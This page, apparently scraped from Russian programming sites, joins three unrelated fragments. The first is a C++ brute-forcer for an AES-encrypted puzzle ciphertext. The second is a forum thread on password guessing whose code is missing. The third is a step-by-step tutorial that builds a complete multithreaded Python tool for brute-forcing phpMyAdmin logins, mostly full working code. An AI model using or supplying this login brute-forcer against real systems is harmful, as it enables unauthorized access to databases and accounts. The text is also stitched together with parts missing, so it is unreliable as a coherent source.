const uint8_t ciphertext[100] = {
0x04, 0x17, 0xA6, 0x77, 0x8C, 0x77, 0xC6, 0x0F,
0x71, 0x0B, 0xE5, 0x3B, 0x6E, 0xB8, 0x44, 0xD8,
0x42, 0xE0, 0xEA, 0x0D, 0xF0, 0x40, 0x65, 0x58,
0x5A, 0x33, 0x23, 0xA5, 0x0F, 0x76, 0x8F, 0x57
};
const int PLAINTEXT_LENGTH = 32;
const int CIPHERTEXT_LENGTH = 32;
const int SALT_LENGTH = 8;
const int PASSWORD_LENGTH = 8;
const int KEY_LENGTH = 32;
const uint8_t salt[SALT_LENGTH] = {
'd', 0x00,
'u', 0x00,
'k', 0x00,
'g'
};
const uint32_t iterations = 0x00000457; // == 1111
void Parallel_TotalBruteForce(
uint8_t* goodPassword,
uint8_t* goodDecrypted,
int& goodDecryptedLength
);
int CryptoPP_Decrypt_AES_256_ECB(
const uint8_t* ciphertext,
uint8_t* key,
uint8_t* plaintext
);
bool checkPassword(
uint8_t* password,
const uint8_t* ciphertext,
uint8_t* decrypted,
int& decryptedLength
);
uint8_t* rotateLeft(
uint8_t* password,
int n
);
bool isPrintable(
uint8_t* text,
int textLength
);
int main() {
uint8_t goodPassword[9] = { '*','*','*','*','*','*','*','*', '' };
uint8_t goodDecrypted[100];
int goodDecryptedLength = 0;
HexEncoder encoder(new FileSink(cout));
cout << "[*] Ciphertext:" << endl;
encoder.Put(ciphertext, CIPHERTEXT_LENGTH);
encoder.MessageEnd();
cout << endl << endl;
Parallel_TotalBruteForce(goodPassword, goodDecrypted, goodDecryptedLength);
cout << endl << "[+] Decrypted block:" << endl;
encoder.Put(goodDecrypted, goodDecryptedLength);
encoder.MessageEnd();
cout << endl;
goodDecrypted[goodDecryptedLength++] = '';
cout << "[+] Decrypted string:" << endl;
cout << '"' << goodDecrypted << '"' << endl;
cout << "[+] Password:" << endl;
cout << '"' << goodPassword << '"' << endl << endl;
return 0;
}
void Parallel_TotalBruteForce(
uint8_t* goodPassword,
uint8_t* goodDecrypted,
int& goodDecryptedLength
) {
uint8_t alp[27] = {
'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h',
'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p',
'q', 'r', 's', 't', 'u', 'v', 'w', 'x',
'y', 'z', ''
};
uint8_t num[11] = {
'0', '1', '2', '3', '4', '5', '6', '7',
'8', '9', ''
};
#ifdef WITH_OPENMP
omp_set_num_threads(myOMP_THREADS);
#endif
uint64_t progress = 0;
bool notFinished = true;
#pragma omp parallel for shared(progress, notFinished) collapse(8)
for (int a = 0; a < 2; a++)
for (int b = 2; b < 8; b++)
for (int c = 0; c < 26; c++)
for (int d = 0; d < 26; d++)
for (int e = 0; e < 26; e++)
for (int f = 0; f < 26; f++)
for (int g = 0; g < 26; g++)
for (int h = 0; h < 10; h++) {
if (notFinished) {
uint8_t password[9]; password[PASSWORD_LENGTH] = '';
uint8_t indeces[6] = { 2,3,4,5,6,7 };
memmove(indeces+b, indeces+b+1, 5-b);
uint8_t decrypted[100]; int decryptedLength;
password[ a] = '!'; // 0-1
password[ !a] = num[h]; // 0-1
password[ b] = 'Q'; // 2-7
password[indeces[0]] = alp[c]; // 2-7
password[indeces[1]] = alp[d]; // 2-7
password[indeces[2]] = alp[e]; // 2-7
password[indeces[3]] = alp[f]; // 2-7
password[indeces[4]] = alp[g]; // 2-7
if (
// DDLLLLLL
checkPassword(
password,
ciphertext,
decrypted,
decryptedLength
) ||
// DLLLLLLD
checkPassword(
rotateLeft(password, 1),
ciphertext,
decrypted,
decryptedLength
) ||
// LLLLLLDD
checkPassword(
rotateLeft(password, 1),
ciphertext,
decrypted,
decryptedLength
) ||
// LLLDDLLL
checkPassword(
rotateLeft(password, 3),
ciphertext,
decrypted,
decryptedLength
)
) {
#pragma omp critical
{
memcpy(
goodPassword,
password,
9
);
memcpy(
goodDecrypted,
decrypted,
decryptedLength
);
goodDecryptedLength = decryptedLength;
notFinished = false;
}
}
if (progress % PROGRESS_SEP == 0)
cout << progress << " of " << TOTAL << endl;
progress += STEP;
}
}
}
uint8_t* rotateLeft(
uint8_t* password,
int n
) {
rotate(&password[0], &password[n], &password[PASSWORD_LENGTH]);
return password;
}
bool checkPassword(
uint8_t* password,
const uint8_t* ciphertext,
uint8_t* decrypted,
int& decryptedLength
) {
uint8_t key[KEY_LENGTH];
fastpbkdf2_hmac_sha1(
password,
PASSWORD_LENGTH,
salt,
SALT_LENGTH,
iterations,
key,
KEY_LENGTH
);
decryptedLength = CryptoPP_Decrypt_AES_256_ECB(
ciphertext,
(uint8_t*) key,
decrypted
);
if (isPrintable(decrypted, decryptedLength))
return true;
return false;
}
int CryptoPP_Decrypt_AES_256_ECB(
const uint8_t* ciphertext,
uint8_t* key,
uint8_t* plaintext
) {
ECB_Mode<AES>::Decryption decryptor;
decryptor.SetKey(key, AES::MAX_KEYLENGTH);
ArraySink ps(&plaintext[0], PLAINTEXT_LENGTH);
ArraySource(
ciphertext,
CIPHERTEXT_LENGTH,
true,
new StreamTransformationFilter(
decryptor,
new Redirector(ps),
StreamTransformationFilter::NO_PADDING
)
);
return ps.TotalPutLength();
}
bool isPrintable(
uint8_t* text,
int textLength
) {
// OuKSJJRlqS7Tqzn+r9GZ4g==
for (int i = 0; i < textLength; i++)
if (!isprint(text[i]))
return false;
return true;
}
Код мейкфайла, как обещано, под вторым спойлером:
Makefile
CXXTARGET = bruter
CXXSOURCES = $(wildcard *.cxx)
CXXOBJECTS = $(patsubst %.cxx, %.o, $(CXXSOURCES))
CSOURCES = $(wildcard */*.c)
CHEADERS = $(wildcard */*.h)
COBJECTS = $(patsubst %.c, %.o, $(CSOURCES))
SHARED_LIB = lib/libfastpbkdf2.so
CXX = g++
CC = gcc
CXXFLAGS += -std=c++11 -O3 -c -g -Wall
CXXLIBS += -L"./lib" -Wl,-rpath="./lib" -lfastpbkdf2 -L"/usr/lib" -lssl -lcrypto -lcryptopp
CFLAGS += -fPIC -std=c99 -O3 -c -g -Wall -Werror -Wextra -pedantic
CLIBS += -lcrypto
.PHONY: all default openmp clean
.PRECIOUS: $(CXXSOURCES) $(CSOURCES) ($CHEADERS) $(SHARED_LIB)
default: $(CXXTARGET)
@echo "=> Project builded"
all: clean openmp
$(CXXTARGET): $(SHARED_LIB) $(CXXOBJECTS)
@echo "=> Linking project files"
@echo "(CXX) $?"
@$(CXX) $(CXXOBJECTS) $(CXXLIBS) -o $@
$(CXXOBJECTS): $(CXXSOURCES)
@echo "=> Compiling project files"
@echo "(CXX) $?"
@$(CXX) $(CXXFLAGS) $< -o $@
$(SHARED_LIB): $(COBJECTS)
@echo "=> Creating shared library"
@echo "(CC) $?"
@$(CC) -shared $< -o $@
$(COBJECTS): $(CSOURCES) $(CHEADERS)
@echo "=> Compiling fastpbkdf2 sources"
@echo "(CC) $?"
@$(CC) $(CFLAGS) $(CLIBS) $< -o $@
openmp: CXXFLAGS += -fopenmp -DWITH_OPENMP
openmp: CXXLIBS += -fopenmp
openmp: CFLAGS += -fopenmp -DWITH_OPENMP
openmp: default
@echo "WITH OPENMP"
clean:
@rm -rfv *.o */*.o $(SHARED_LIB) $(CXXTARGET)
@echo "=> Cleaning done"
Спасибо за внимание, всем добра!
Tsunami_921 1 / 0 / 1 Регистрация: 23.11.2019 Сообщений: 31 |
||||
1 |
||||
Скрипт подбора пароля21.12.2019, 22:15. Показов 51551. Ответов 6 Метки нет (Все метки)
Не получается написать скрипт для последовательного подбора пароля.
Мне же надо чтобы он работал со списками и последовательно выбирал объекты из этого списка по индексу.
__________________
0 |
Programming Эксперт 94731 / 64177 / 26122 Регистрация: 12.04.2006 Сообщений: 116,782 |
21.12.2019, 22:15 |
Ответы с готовыми решениями: Програма подбора пароля Процедура подбора пароля Программа для подбора пароля Программа для подбора пароля 6 |
codcw 814 / 526 / 214 Регистрация: 22.12.2017 Сообщений: 1,495 |
||||
22.12.2019, 01:27 |
2 |
|||
с цифрами просто:
если нужно конкретно по списку, почитайте про функцию product в библиотеке itertools
0 |
1 / 0 / 1 Регистрация: 23.11.2019 Сообщений: 31 |
|
23.12.2019, 20:26 [ТС] |
3 |
Не сработает если первая цифра пароля «0»
0 |
Рыжий Лис Просто Лис 4865 / 3183 / 997 Регистрация: 17.05.2012 Сообщений: 9,294 Записей в блоге: 9 |
||||||||
24.12.2019, 08:39 |
4 |
|||||||
Добавлено через 4 минуты
Код password is "09121998" time: 0.8315978050231934
1 |
513 / 145 / 27 Регистрация: 18.04.2015 Сообщений: 1,872 Записей в блоге: 15 |
|
24.12.2019, 10:21 |
5 |
random подбирает случайные числа. Зацепила задачка… чтобы перебирало сначала Цифра (от 0 до 9) / рандом длиной от 0 до 9 (с учетом первой цифры) тогда минимум в 3 раза сократится
0 |
1 / 0 / 1 Регистрация: 23.11.2019 Сообщений: 31 |
|
24.12.2019, 11:39 [ТС] |
6 |
Рыжий Лис, Не совсем понял как это работает…
0 |
Рыжий Лис Просто Лис 4865 / 3183 / 997 Регистрация: 17.05.2012 Сообщений: 9,294 Записей в блоге: 9 |
||||
24.12.2019, 11:57 |
7 |
|||
https://pyformat.info/ Просто число обратно в строку конвертирует и добивает слева нулями. Добавлено через 41 секунду
Какие числа перебирает range(0,10 ** len(password)) от нуля до 9999 (количество девяток == длине пароля). Добавлено через 1 минуту
0 |
Вступление
Доброго времени суток, коллеги, сегодня мы с вами будем писать небольшую программу для подбора паролей к панели авторизации на замечательном языке Python3.
Мы с вами постараемся придерживаться парадигмы ООП в ее самом простом виде, так как поддержка и расширение функционала даже в маленьком приложении без применения этого может стать весьма затруднительным делом.
Так же буду благодарен любой критике от товарищей, которые озвучат свой взгляд на код в целом и возможно помогут его улучшить, доработать.
Что же такое брутфорс атака? Как говорит нам один известный поисковик — брутфорсом называется метод взлома учетных записей путем перебора паролей к тому моменту, когда не кончится словарь или ключевое слово не будет признано системой, как истинное.
Термин образован от англоязычного словосочетания «brute force», означающего в переводе «грубая сила». Суть подхода заключается в последовательном автоматизированном переборе всех возможных комбинаций символов с целью рано или поздно найти правильную.
Алгоритм действий вкратце получается таким: мы отправлять какие-то данные на сервер, получаем ответ от сервера, проверяем устраивает-ли нас этот ответ и если нет, модифицируем данные и повторно отправляем уже изменённые, повторяем до тех пор пока ответ нас не устроит.
Давайте посмотрим какие данные от нас ожидает панель входа PhpMyAdmin. Для этого откроем браузер, перейдем по URL-адресу ведущему нас к форме авторизации, откроем в браузере консоль разработчика и попробуем авторизоваться.
Как можем лицезреть, вход не удался, но зато мы получили важные сведения, а именно какой тип запроса, куда и с какими данными он должен быть направлен.
Честно признаться я понадеялся, что все же в ручном режиме смогу угадать пароль и еще совершил несколько неудачных попыток входа в систему, но заметил что параметр «set_session» и «token» меняются каждую попытку, будем решать и эту задачу и хватит лирических отступлений, пора переходить к делу.
Но перед тем как писать код, вначале создадим виртуальное окружение для удобной работы с нашим проектом, как это сделать я рассказывал в этой статье.
Нам понадобятся следующие библиотеки:
Код:
beautifulsoup4==4.9.1
bs4==0.0.1
certifi==2020.6.20
chardet==3.0.4
idna==2.10
lxml==4.5.2
requests==2.24.0
soupsieve==2.0.1
urllib3==1.25.9
Устанавливаем их:
Код:
pip install requests && pip install bs4 && pip install lxml
Обратите внимание что некоторые библиотеки поддерживаются только в Python3
Для чего они нужны и как мы их будем использовать вы увидите далее.
Теперь нам стоит определиться с архитектурой программы и с тем какие классы будем реализовывать.
- Нужно получить «set_session» и еще некоторые данные, а именно «token» и «server«.
- Механизм попытки авторизации.
- Получить аргументы командной строки (параметры такие как «имя пользователя», «url» и «лист паролей») которые введет пользователь нашей программы, дабы облегчить ему использования инструмента.
- Реализовать сам алгоритм перебора паролей.
- Реализуем многопоточность, да GIL, но мы же учимся !
Итого у нас получиться 5 классов:
- TargetData — для получение данных от панели PhpMyAdmin.
- PhpMyAdminAuthorization — с говорящим названием о том что он будет пытаться авторизоваться в PhpMyAdmin.
- UserArgument — который будет работать с пользовательскими данными.
- BruteForceAttack — как не удивительно, класс который будет реализовывать методы для брутфорса.
- Threads — для методов реализации многопоточности.
Затем импортируем библиотеки:
Python:
import requests
import threading
import argparse
import time # тут скорее декоративна и не обязательна, но будет интересно посмотреть, с какой скоростью наша программа будет брутить.
from bs4 import BeautifulSoup as bs4
Первый раз, первый класс: объявляем класс и так же конструктор, говорим, что на входе этот класс будет принимать некую строковую переменную.
Далее немного библиотеки «requests» в которой говорится, что объект «Session» позволяет сохранять некоторые параметры в запросах и если мы делаем несколько запросов на один и тот же хост, базовое TCP-соединение будет использоваться повторно, что может привести к значительному увеличению производительности. Потом собственно делаем этот самый запрос и получаем исходный код странички куда обращались:
Python:
class TargetData:
def __init__(self, php_my_admin_url: str):
self.php_my_admin_url = php_my_admin_url
self.authorization_session = requests.Session()
self.gotten_html = self.authorization_session.get(self.php_my_admin_url)
self.soup = bs4(self.gotten_html.content, 'lxml')
Далее добавим классу два метода, которые будут возвращать нам найденные в ранее полученном HTML строки, содержащие в себе «token» и «server».
Это может быть дублирующий себя код, но разделить на два метода я решил потому что:
- Они возвращают разные данные.
- Считаю что один метод, должен делать только что-то одно, если не прав, поправьте в комментариях.
- Только нужные нам значения содержаться в одинаковых атрибутах HTML а может понадобиться и что то другое.
Python:
def get_parse_csrf_token(self) -> str:
csrf_token_value = self.soup.find('input', {'name': 'token'})['value']
return csrf_token_value
def get_parse_server(self) -> str:
server_value = self.soup.find('input', {'name': 'server'})['value']
return server_value
Python:
class TargetData:
def __init__(self, php_my_admin_url: str):
self.php_my_admin_url = php_my_admin_url
self.authorization_session = requests.Session()
self.gotten_html = self.authorization_session.get(self.php_my_admin_url)
self.soup = bs4(self.gotten_html.content, 'lxml')
def get_parse_csrf_token(self) -> str:
csrf_token_value = self.soup.find('input', {'name': 'token'})['value']
return csrf_token_value
def get_parse_server(self) -> str:
server_value = self.soup.find('input', {'name': 'server'})['value']
return server_value
На этом с первым классом заканчиваем и переходим ко второму, объявляем класс и уже знакомый нам метод конструктора класса который будет принимать три строковых значения, это «url»,» user_name» и «user_password».
Наследуем от класса TargetData, дабы получить его свойства и методы и передаем ему значение переменной с говорящим названием «php_my_admin_url»:
Python:
class PhpMyAdminAuthorization(TargetData):
def __init__(self, php_my_admin_url: str, user_name: str, user_password: str):
super().__init__(php_my_admin_url=php_my_admin_url)
self.user_name = user_name
self.user_password = user_password
Теперь добавим этому классу сам метод авторизации в панели Phpmyadmin.
Создаем список с параметрами, сервер и токен берем из методов класса «TargetData» от которого мы и наследовались, отправляем данные методом пост и получаем результат, тут все просто:
Python:
def login_attempt(self) -> str:
authorization_data = {'pma_username': self.user_name, 'pma_password': self.user_password,
'server': self.get_parse_server(),
'target': 'index.php',
'token': self.get_parse_csrf_token()}
request_authorization = self.authorization_session.post(self.php_my_admin_url, data=authorization_data)
result_authorization = request_authorization.text
return result_authorization
И добавим нашему классу «PhpMyAdminAuthorization» еще один метод, который будет возвращать нам, что же там вернулась в результате попытке авторизации. Этот метод будет возвращать булево значение «True» или «False» в зависимости от того, есть ли в результате авторизации строка «Cannot log in to the MySQL server», если нет, то «True» и «False» во всех остальных случаях.
Python:
def get_result_authorization(self) -> bool:
is_result_authorization = False
failed_authorization_messages = f"Cannot log in to the MySQL server"
if failed_authorization_messages not in self.login_attempt():
is_result_authorization = True
return is_result_authorization
Python:
class PhpMyAdminAuthorization(TargetData):
def __init__(self, php_my_admin_url: str, user_name: str, user_password: str):
super().__init__(php_my_admin_url=php_my_admin_url)
self.user_name = user_name
self.user_password = user_password
def login_attempt(self) -> str:
authorization_data = {'pma_username': self.user_name, 'pma_password': self.user_password,
'server': self.get_parse_server(),
'target': 'index.php',
'token': self.get_parse_csrf_token()}
request_authorization = self.authorization_session.post(self.php_my_admin_url, data=authorization_data)
result_authorization = request_authorization.text
return result_authorization
def get_result_authorization(self) -> bool:
is_result_authorization = False
failed_authorization_messages = f"Cannot log in to the MySQL server"
if failed_authorization_messages not in self.login_attempt():
is_result_authorization = True
return is_result_authorization
Половина дела уже сделана, но теперь нужно будет морально подготовиться, потому что сейчас мы начнем реализовывать самый большой класс, который будет отвечать за взаимодействия пользователя с программой.
Объявляем класс, снова конструктор и куча методов которые инициализируются в конструкторе. Возможно дальше вы поймете меня, но я считаю, что если пользователь может взаимодействовать с приложением, значит он может и что-то в нем сломать. Поэтому я постарался написать хотя-бы немного проверок для тех аргументов, что будет передавать пользователь, давайте теперь пройдемся по этим методам:
Python:
class UserArgument:
def __init__(self):
self.user_settings_for_brute_force = argparse.ArgumentParser(
description='Instructions for using the program')
self.add_arguments()
self.brute_force_settings = self.user_settings_for_brute_force.parse_args()
self.target_for_attack = self.brute_force_settings.target
self.check_valid_target_url()
self.username = self.brute_force_settings.username
self.check_valid_password_list()
self.password_list = [str(password).strip('n') for password in self.brute_force_settings.password_list]
self.number_threads = self.brute_force_settings.rate
self.check_valid_type_rate()
Первый метод у нас «add_arguments()» и он очень прост, добавляет аргументы к объекту «настройки пользователя для брутфорса»:
Python:
def add_arguments(self):
self.user_settings_for_brute_force.add_argument('-t', '--target', default='http://172.18.12.12/phpmyadmin',
nargs='?',
help='Link to admin panel phpmyadmin '
'format: http://site.ru/phpmyadmin')
self.user_settings_for_brute_force.add_argument('-u', '--username', default='phpmyadmin', nargs='?',
help='Database username.')
self.user_settings_for_brute_force.add_argument('-p', '--password_list', default='10_random_pass', nargs='?',
help='The path to the file with passwords can be either sexual '
'or relative. There must be one password on one line.')
self.user_settings_for_brute_force.add_argument('-r', '--rate', default='10', nargs='?',
help='The number of threads with which the program will start '
'working. The number of streams should not exceed '
'the number of passwords in your password list.')
Следующий метод «check_valid_target_url()» — проверяет является ли указанный пользователем URL-панелью PhpMyAdmin и если нет, заставляет его ввести корректный URL, а затем снова проверяет данные:
Python:
def check_valid_target_url(self):
try:
TargetData(self.target_for_attack).get_parse_csrf_token()
except TypeError:
print('nThi's target not phpmyadmin paneln')
self.target_for_attack = input('Enter the correct url: ')
self.check_valid_target_url()
Далее пытаемся открыть файл пользователя с паролями, если это не удалось — просим указать корректный лист паролей и проверяем его на валидность вновь:
Python:
def check_valid_password_list(self):
try:
self.brute_force_settings.password_list = open(f'{self.brute_force_settings.password_list}', 'r',
encoding='utf8')
except FileNotFoundError:
print('nCould not find filen')
self.brute_force_settings.password_list = input('Enter the correct path to the file: ')
self.check_valid_password_list()
Третий способ — это у нас проверка на корректность введенных потоков, если это значение состоит не из одних целых чисел или превышает количество паролей в листе, то просим задать этот параметр по новой:
Python:
def check_valid_type_rate(self):
if self.number_threads.isdigit() is not True or int(self.number_threads) > len(self.password_list) + 1:
print('nGiven number of threads, not an integer or entered incorrectlyn')
self.number_threads = input('Enter the correct number of threads: ')
self.check_valid_type_rate()
self.number_threads = int(self.number_threads)
Теперь добавим нашему классу «UserArgument» еще несколько методов, все они возвращают нам те или иные значения:
Python:
def get_target_attack(self) -> str:
return self.target_for_attack
def get_username(self) -> str:
return self.username
def get_password_list(self) -> list:
return self.password_list
def get_number_threads(self) -> str:
return self.number_threads
Python:
class UserArgument:
def __init__(self):
self.user_settings_for_brute_force = argparse.ArgumentParser(
description='Instructions for using the program')
self.add_arguments()
self.brute_force_settings = self.user_settings_for_brute_force.parse_args()
self.target_for_attack = self.brute_force_settings.target
self.check_valid_target_url()
self.username = self.brute_force_settings.username
self.check_valid_password_list()
self.password_list = [str(password).strip('n') for password in self.brute_force_settings.password_list]
self.number_threads = self.brute_force_settings.rate
self.check_valid_type_rate()
def add_arguments(self):
self.user_settings_for_brute_force.add_argument('-t', '--target', default='http://172.18.12.12/phpmyadmin',
nargs='?',
help='Link to admin panel phpmyadmin '
'format: http://site.ru/phpmyadmin')
self.user_settings_for_brute_force.add_argument('-u', '--username', default='phpmyadmin', nargs='?',
help='Database username.')
self.user_settings_for_brute_force.add_argument('-p', '--password_list', default='10_random_pass', nargs='?',
help='The path to the file with passwords can be either sexual '
'or relative. There must be one password on one line.')
self.user_settings_for_brute_force.add_argument('-r', '--rate', default='10', nargs='?',
help='The number of threads with which the program will start '
'working. The number of streams should not exceed '
'the number of passwords in your password list.')
def check_valid_target_url(self):
try:
TargetData(self.target_for_attack).get_parse_csrf_token()
except TypeError:
print('nThi's target not phpmyadmin paneln')
self.target_for_attack = input('Enter the correct url: ')
self.check_valid_target_url()
def check_valid_password_list(self):
try:
self.brute_force_settings.password_list = open(f'{self.brute_force_settings.password_list}', 'r',
encoding='utf8')
except FileNotFoundError:
print('nCould not find filen')
self.brute_force_settings.password_list = input('Enter the correct path to the file: ')
self.check_valid_password_list()
def check_valid_type_rate(self):
if self.number_threads.isdigit() is not True or int(self.number_threads) > len(self.password_list) + 1:
print('nGiven number of threads, not an integer or entered incorrectlyn')
self.number_threads = input('Enter the correct number of threads: ')
self.check_valid_type_rate()
self.number_threads = int(self.number_threads)
def get_target_attack(self) -> str:
return self.target_for_attack
def get_username(self) -> str:
return self.username
def get_password_list(self) -> list:
return self.password_list
def get_number_threads(self) -> str:
return self.number_threads
Ух, с этим вроде бы закончили, теперь осталось написать логику самого скприпта и добавить многопоточности.
Объявляем класс «BruteForceAttack» и в конструктор кладем значение которые нам вернут методы из «UserArgument»:
Python:
class BruteForceAttack:
def __init__(self):
self.attack_target = user_setting.get_target_attack()
self.username = user_setting.get_username()
self.passwords_list = user_setting.get_password_list()
Затем напишем метод для цикличной попытки авторизации, этот способ принимает на вход два параметра, о них немного позже.
После замеряем время, а затем запускаем цикл, в котором количество итераций будет равно срезу из «self.passwords_list[от — до]».
В цикле создаем экземпляр класса «PhpMyAdminAuthorization» с параметрами, которые мы получили из класса «UserArgument» и если его метод «get_result_authorization()» вернет нам «True», то мы напечатаем найденные логин с паролем, а так же время, которое потребовалось на брут, если нет, то цикл продолжит свою работу:
Python:
def start_attack(self, start_of_list: int, end_of_list: int):
start_time = time.monotonic()
list_one_thread = self.passwords_list[start_of_list:end_of_list]
for password in list_one_thread:
try:
login_attempt_phpmyadmin = PhpMyAdminAuthorization(php_my_admin_url=f'{self.attack_target}/index.php',
user_name=self.username, user_password=password)
if login_attempt_phpmyadmin.get_result_authorization():
print(f'login: {login_attempt_phpmyadmin.user_name} |'
f' password: {login_attempt_phpmyadmin.user_password} ')
print(time.monotonic() - start_time)
except IndexError:
pass
Python:
class BruteForceAttack:
def __init__(self):
self.attack_target = user_setting.get_target_attack()
self.username = user_setting.get_username()
self.passwords_list = user_setting.get_password_list()
def start_attack(self, start_of_list: int, end_of_list: int):
start_time = time.monotonic()
list_one_thread = self.passwords_list[start_of_list:end_of_list]
for password in list_one_thread:
try:
login_attempt_phpmyadmin = PhpMyAdminAuthorization(php_my_admin_url=f'{self.attack_target}/index.php',
user_name=self.username, user_password=password)
if login_attempt_phpmyadmin.get_result_authorization():
print(f'login: {login_attempt_phpmyadmin.user_name} |'
f' password: {login_attempt_phpmyadmin.user_password} ')
print(time.monotonic() - start_time)
except IndexError:
pass
Остался еще
последний
(почти) штришок — многопоточность. Объявляем класс «Threads» и наследуем от класса «Thread» из библиотеки «Threading».
Опять эти свойства, начало и конец листа, для чего же они нам ? Терпение, скоро все станет понятно:
Python:
class Threads(threading.Thread):
def __init__(self, start_of_list, end_of_list):
threading.Thread.__init__(self)
self.start_of_list = start_of_list
self.end_of_list = end_of_list
А пока добавим метод «run()», который будет вызывать класс «BruteForceAttack» экземпляр, которого мы создадим уже скоро:
Python:
def run(self):
brute_force_attack.start_attack(self.start_of_list, self.end_of_list)
Python:
class Threads(threading.Thread):
def __init__(self, start_of_list, end_of_list):
threading.Thread.__init__(self)
self.start_of_list = start_of_list
self.end_of_list = end_of_list
def run(self):
brute_force_attack.start_attack(self.start_of_list, self.end_of_list)
По ходу написания статьи я понял, что стоит добавить еще один класс который назвал «StartProgram« с методом «main()».
Вот он:
Python:
class StartProgram:
def __init__(self):
self.number_threads = int(user_setting.get_number_threads())
self.length_password_list = len(user_setting.get_password_list())
def main(self):
start_list = 0
max_list = self.length_password_list // self.number_threads
for i in range(self.number_threads):
thread = Threads(start_list, max_list)
start_list = max_list
max_list = start_list + self.length_password_list // self.number_threads
thread.start()
А теперь поговорим о тех самых непонятных переменных «start_of_list» и «end_of_list» из класса «Threads».
В конструкторе класса «StartProgram» мы объявляем две переменные одна из которых является «integer» значением, которое нам возвращает метод «get_number_threads()» класса «UserArgument».
А вторая длинной значения которое возвращает его же метод «get_password_list()»
Дальше в методе «main()» класса «StartProgram» происходит некоторая магия, в цикле создается экземпляр класса Threads с параметрами 0 и количество паролей деленное на количество потоков.
Это работает следующим образом, допустим, что у нас в списке паролей 100 строк и мы запустили программу в 10 потоков, то в первую итерацию цикла метода «main() Threads» будет запущен с аргументами(0,10) во вторую (10,20) и т.д.
Далее в классе «Threads» будет вызван поток для объекта «brute_force_attack». Таким образом в первом потоке будут перебираться пароли с 1 строки по 9, а во втором потоке пароли из списка с 10 по 19 строку и так далее.
Ну и финальный стук по клавиатуре, создаем объекты классов и запускаем программу:
Python:
if __name__ == '__main__':
user_setting = UserArgument()
brute_force_attack = BruteForceAttack()
StartProgram().main()
И по традиции весь код целиком:
Python:
import requests
import threading
import argparse
import time
from bs4 import BeautifulSoup as bs4
class TargetData:
def __init__(self, php_my_admin_url: str):
self.php_my_admin_url = php_my_admin_url
self.authorization_session = requests.Session()
self.gotten_html = self.authorization_session.get(self.php_my_admin_url)
self.soup = bs4(self.gotten_html.content, 'lxml')
def get_parse_csrf_token(self) -> str:
csrf_token_value = self.soup.find('input', {'name': 'token'})['value']
return csrf_token_value
def get_parse_server(self) -> str:
server_value = self.soup.find('input', {'name': 'server'})['value']
return server_value
class PhpMyAdminAuthorization(TargetData):
def __init__(self, php_my_admin_url: str, user_name: str, user_password: str):
super().__init__(php_my_admin_url=php_my_admin_url)
self.user_name = user_name
self.user_password = user_password
def login_attempt(self) -> str:
authorization_data = {'pma_username': self.user_name, 'pma_password': self.user_password,
'server': self.get_parse_server(),
'target': 'index.php',
'token': self.get_parse_csrf_token()}
request_authorization = self.authorization_session.post(self.php_my_admin_url, data=authorization_data)
result_authorization = request_authorization.text
return result_authorization
def get_result_authorization(self) -> bool:
is_result_authorization = False
failed_authorization_messages = f"Cannot log in to the MySQL server"
if failed_authorization_messages not in self.login_attempt():
is_result_authorization = True
return is_result_authorization
class UserArgument:
def __init__(self):
self.user_settings_for_brute_force = argparse.ArgumentParser(
description='Instructions for using the program')
self.add_arguments()
self.brute_force_settings = self.user_settings_for_brute_force.parse_args()
self.target_for_attack = self.brute_force_settings.target
self.check_valid_target_url()
self.username = self.brute_force_settings.username
self.check_valid_password_list()
self.password_list = [str(password).strip('n') for password in self.brute_force_settings.password_list]
self.number_threads = self.brute_force_settings.rate
self.check_valid_type_rate()
def add_arguments(self):
self.user_settings_for_brute_force.add_argument('-t', '--target', default='http://172.18.12.12/phpmyadmin',
nargs='?',
help='Link to admin panel phpmyadmin '
'format: http://site.ru/phpmyadmin')
self.user_settings_for_brute_force.add_argument('-u', '--username', default='phpmyadmin', nargs='?',
help='Database username.')
self.user_settings_for_brute_force.add_argument('-p', '--password_list', default='10_random_pass', nargs='?',
help='The path to the file with passwords can be either sexual '
'or relative. There must be one password on one line.')
self.user_settings_for_brute_force.add_argument('-r', '--rate', default='10', nargs='?',
help='The number of threads with which the program will start '
'working. The number of streams should not exceed '
'the number of passwords in your password list.')
def check_valid_target_url(self):
try:
TargetData(self.target_for_attack).get_parse_csrf_token()
except TypeError:
print('nThi's target not phpmyadmin paneln')
self.target_for_attack = input('Enter the correct url: ')
self.check_valid_target_url()
def check_valid_password_list(self):
try:
self.brute_force_settings.password_list = open(f'{self.brute_force_settings.password_list}', 'r',
encoding='utf8')
except FileNotFoundError:
print('nCould not find filen')
self.brute_force_settings.password_list = input('Enter the correct path to the file: ')
self.check_valid_password_list()
def check_valid_type_rate(self):
if self.number_threads.isdigit() is not True or int(self.number_threads) > len(self.password_list) + 1:
print('nGiven number of threads, not an integer or entered incorrectlyn')
self.number_threads = input('Enter the correct number of threads: ')
self.check_valid_type_rate()
self.number_threads = int(self.number_threads)
def get_target_attack(self) -> str:
return self.target_for_attack
def get_username(self) -> str:
return self.username
def get_password_list(self) -> list:
return self.password_list
def get_number_threads(self) -> str:
return self.number_threads
class BruteForceAttack:
def __init__(self):
self.attack_target = user_setting.get_target_attack()
self.username = user_setting.get_username()
self.passwords_list = user_setting.get_password_list()
def start_attack(self, start_of_list: int, end_of_list: int):
start_time = time.monotonic()
list_one_thread = self.passwords_list[start_of_list:end_of_list]
for password in list_one_thread:
try:
login_attempt_phpmyadmin = PhpMyAdminAuthorization(php_my_admin_url=f'{self.attack_target}/index.php',
user_name=self.username, user_password=password)
if login_attempt_phpmyadmin.get_result_authorization():
print(f'login: {login_attempt_phpmyadmin.user_name} |'
f' password: {login_attempt_phpmyadmin.user_password} ')
print(time.monotonic() - start_time)
except IndexError:
pass
class Threads(threading.Thread):
def __init__(self, start_of_list, end_of_list):
threading.Thread.__init__(self)
self.start_of_list = start_of_list
self.end_of_list = end_of_list
def run(self):
brute_force_attack.start_attack(self.start_of_list, self.end_of_list)
class StartProgram:
def __init__(self):
self.number_threads = int(user_setting.get_number_threads())
self.length_password_list = len(user_setting.get_password_list())
def main(self):
start_list = 0
max_list = self.length_password_list // self.number_threads
for i in range(self.number_threads):
thread = Threads(start_list, max_list)
start_list = max_list
max_list = start_list + self.length_password_list // self.number_threads
thread.start()
if __name__ == '__main__':
user_setting = UserArgument()
brute_force_attack = BruteForceAttack()
StartProgram().main()
Заключение и тестирование нашей программы
Программу я протестировал на списках паролей следующей длины 10000 паролей, 1000 паролей и 10 паролей в файле.
Скорость выполнения в рамках локальной сети вы видите на приведенном ниже скриншоте.
